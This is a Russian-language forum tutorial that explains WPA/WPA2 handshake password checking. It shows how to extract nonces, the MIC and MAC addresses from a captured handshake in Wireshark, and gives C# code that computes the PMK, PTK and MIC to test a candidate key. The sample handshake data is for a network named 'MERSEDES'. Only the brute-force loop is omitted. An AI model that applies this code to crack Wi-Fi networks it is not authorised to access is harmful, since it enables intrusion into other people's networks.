Как производят взлом wpa2 ключей в wifi сетях Доброго времени суток ,сегодня решил рассказать Как работает Алгоритм Подбора Паролей Wpa в WI FI сетях Надеюсь У вас уже есть хандшейк так что приступим (а если нет или не знаете что это такое то google.ru вам в помощь)Для реализации алгоритма будем использовать Visual Studio 2008 и весь код писать на c# так что начнем... Для начала давайте Узнаем какие именно данные нам нужно будет Вытащить из этого самого хандшейка (handshake) Для этого скачайте и установите себе снифер Wireshark ссылку на него я выложу в конце статьи , ну я думаю вы уже его установили запускаем снифер далее идем в меню File > Open и указываем наш фандшейк в результате у нас должно выйти примерно так отлично двигаемся дальше ,как мы видим здесь целая куча не нужных запросов , давайте их отфильтруем Впишем eapol (так как мы будем работать Толька с этим протоколом) и нажмем Aplly (то есть применить) и у нас должно выйти примерно так как видим все равно еще не понятно с чего же начать, а все очень просто как мы видим здесь много повторяющихся Фреймов неудачной аутентификации вот они то нам и не нужны и смотрим внимательнее где идут Фреймы (1\4) (2\4) (3\4) вот они то нам и Нада а именно первый фрейм и второе от первого фрейма нам понадобится Толька 32 байтный хеш случайно сгенерированный точкой доступа Nonce назовем ее anonce переходим на второй фрейм (2\4) и тоже извлекаем 32-бай случайно сгенерированный ключ клиента Nonce и назовем его snonce и так мы имеем два 32-байтных случайно сгенерированных ключа от точки доступа и от клиента anonce и snonce из этого же фрейма (2\4) получаем WPA Key MIC и обзовем его TrueMic ТАКЖЕ по нему и будем проверять правильность пароля и также с этого фрейма на понадобиться весь пакет данных содержащей весь пакет второго рукопожатия и обзываем его eapol ........ Также нам нужны будут MAC адреса клиента и точки доступа и ESSID точки доступа (то есть ее имя) Итак что мы имеем : anonce - случайно сгенерированное число точки доступа (32 байта) snonce - случайно сгенерированное число клиента (32 байта) Truemic - хеш целостности сообщений eapol - весь дамп второго фрейма (рукопожатия) BSSID - мак адрес точки доступа stMac - мак адрес клиента ESSID - имя точки доступа вот собственно и все что нужно будет вытащить из хандшейка приводить код как эти данные получить я не буду здесь вы и сами разберетесь а приступим к самому алгоритму то есть написанию кода PHP: //------ инициализируем переменные --------- // мак точки byte[] bssid = new byte[] { 20,0xd6,0x4d,70,0x47,0x26 }; // случайно сгенерированный хеш точки byte[] anonce = new byte[] { 0xc9,0x63 ,0xc9, 0xcd,90,0x4c,0xa2,0x2e,0xc3, 0x90,0xa9,0xe9,0x39,0x99,0xf8,0x3a,0x87,0x77, 0xad, 0xb6, 0xc4, 0x13, 0x52, 0xa7,0xdb, 0xda, 0x99, 0xc5, 0, 0x8b, 0x88, 0x69 }; // случайно сгенерированный хеш клиента byte[] snonce = new byte[] { 0xf1, 14, 0x63, 0xbc, 0x4f, 0x95, 11, 90,0xf7, 250, 0x4e, 0xec,0xe2, 0x65, 0xa1,0xe7,90,0xef, 170, 0x54,0xad,0x36, 0xe2,0x41,0x41,0x31,0x4e, 0x88, 0x7d, 0x49, 0x4a,0xb5 }; // полный дамп второго фрейма (рукопожатия) byte[] eapol = new byte[] { 2, 3, 0, 0x75, 2, 1, 9, 0,0x20, 0, 0, 0, 0, 0,0, 0,1, 0xf1, 14, 0x63, 0xbc, 0x4f, 0x95,11, 90, 0xf7, 250, 0x4e, 0xec, 0xe2,0x65, 0xa1, 0xe7, 90, 0xef, 170, 0x54,0xad, 0x36, 0xe2, 0x41,0x41, 0x31, 0x4e,0x88, 0x7d, 0x49, 0x4a, 0xb5, 0,0, 0,0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,0, 0, 0,0, 0, 0, 0, 0, 0, 0, 0, 0,0, 0, 0, 0,0, 30, 0x2f,0xfc, 0xfb,0x29, 170, 0x1f, 0x68, 0xc3, 0x5d, 0xdd,150, 0x98, 0xaf, 160,0x2b, 0, 0x16, 0x30,20, 1, 0,0, 15, 0xac, 2, 1, 0, 0, 15, 0xac,2, 1, 0, 0, 15,0xac, 2, 0, 0 }; // мак адрес клиента byte[] stmac = new byte[] { 240, 0x7d, 0x68, 0x8e, 0x43, 0xd6 }; // MiC byte[] trueMic = new byte[] { 0x1e,0x2f,0xfc,0xfb,0x29,170,0x1f,0x68, 0xc3, 0x5d, 0xdd, 150, 0x98,0xaf,160,0x2b }; // имя сети string essid = "MERSEDES"; byte[] essid1; byte[] key1; HMACMD5 md5; HMACSHA1 sha1; Вычисляем Мастер-ключ pmk (многократно захешированный пароль с использованием имени сети essid). PHP: //========= Вычисляем PMK ============ public byte[] call_pmk(byte[] key, byte[] essid) { int i; int i1; int j; byte[] pmk = new byte[40]; byte[] data = new byte[essid.Length + 4]; Array.Copy(essid, data, essid.Length); data[essid.Length] = 0; data[essid.Length + 1] = 0; data[essid.Length + 2] = 0; data[essid.Length + 3] = 1; sha1.Key = key; sha1.ComputeHash(data); data = this.sha1.Hash; for (i = 0; i < 20; i++) { pmk[i] = data[i]; } for (i1 = 1; i1 < 0x1000; i1++) { sha1.ComputeHash(data); data = this.sha1.Hash; j = 0; while (j < 20) { pmk[j] = (byte)(pmk[j] ^ data[j]); j++; } } byte[] data1 = new byte[essid.Length + 4]; Array.Copy(essid, data1, essid.Length); data1[essid.Length] = 0; data1[essid.Length + 1] = 0; data1[essid.Length + 2] = 0; data1[essid.Length + 3] = 2; Key = key; sha1.ComputeHash(data1); data1 = sha1.Hash; for (i = 0; i < 20; i++) { pmk[i + 20] = data1[i]; } for (i1 = 1; i1 < 0x1000; i1++) { sha1.ComputeHash(data1); data1 = this.sha1.Hash; for (j = 0; j < 20; j++) { pmk[j + 20] = (byte)(pmk[j + 20] ^ data1[j]); } } return pmk; } Зная PMK теперь определяем PTK Передаточный ключ PTK (вот с помощью него, а точнее его части происходит вычисление ключа целостности сообщений). PHP: //============== Вычесляем PTK ================================== public byte[] call_ptk(byte[] pmk, byte[] pke) { byte[] ptk = new byte[80]; byte[] pmk_tmp = new byte[0x20]; Array.Copy(pmk, 0, pmk_tmp, 0, 0x20); for (int i = 0; i < 4; i++) { pke[0x63] = (byte)i; sha1.Key = pmk_tmp; sha1.ComputeHash(pke); Array.Copy(sha1.Hash, 0, ptk, i * 20, 20); } return ptk; } ну вот теперь когда мы знаем хеш PTK мы можем вычислить и сам хеш нашего пароля PHP: //======= Вычисляем MIC ============== public byte[] call_mic(int wpa_ver, byte[] ptk, byte[] eapol) { byte[] ptk_tmp = new byte[0x10]; Array.Copy(ptk, 0, ptk_tmp, 0, 0x10); if (wpa_ver == 1) { md5.Key = ptk_tmp; md5.ComputeHash(eapol); return md5.Hash; } sha1.Key = ptk_tmp; sha1.ComputeHash(eapol); return this.sha1.Hash; } Ну и последний шаг проверяем наш пароль на валид PHP: //============== Проверяем ключ ============================================= public bool Wpa_Key(int wpa_ver, byte[] key1, byte[] essid1, byte[] anonce, byte[] snonce, byte[] bssid, byte[] stmac, byte[] eapol, byte[] truemic) { md5 = new HMACMD5(); sha1 = new HMACSHA1(); for (int i = 0; i < 0x10; i++) { eapol[0x51 + i] = 0; } byte[] pke = new byte[100]; Array.Copy(Encoding.ASCII.GetBytes("Pairwise key expansion"), pke, 0x16); if (stmac[0] < bssid[0]) { Array.Copy(stmac, 0, pke, 0x17, 6); Array.Copy(bssid, 0, pke, 0x1d, 6); } else { Array.Copy(bssid, 0, pke, 0x17, 6); Array.Copy(stmac, 0, pke, 0x1d, 6); } if (snonce[0] < anonce[0]) { Array.Copy(snonce, 0, pke, 0x23, 0x20); Array.Copy(anonce, 0, pke, 0x43, 0x20); } else { Array.Copy(anonce, 0, pke, 0x23, 0x20); Array.Copy(snonce, 0, pke, 0x43, 0x20); } byte[] pmk = this.call_pmk(key1, essid1); byte[] ptk = this.call_ptk(pmk, pke); byte[] mic = this.call_mic(wpa_ver, ptk, eapol); return truemic.SequenceEqual<byte>(mic); } вот собственно и весь код осталось Толька добавить цикл и перебирать пароль в цикле но здесь мы этого делать не будем Вот собственно таким вот образом и происходит подбор паролей wifi сетей, а на этом я пожалуй и закончу. а вот и ссылки: Снифер WireShark с офф сайта Программа с исходниками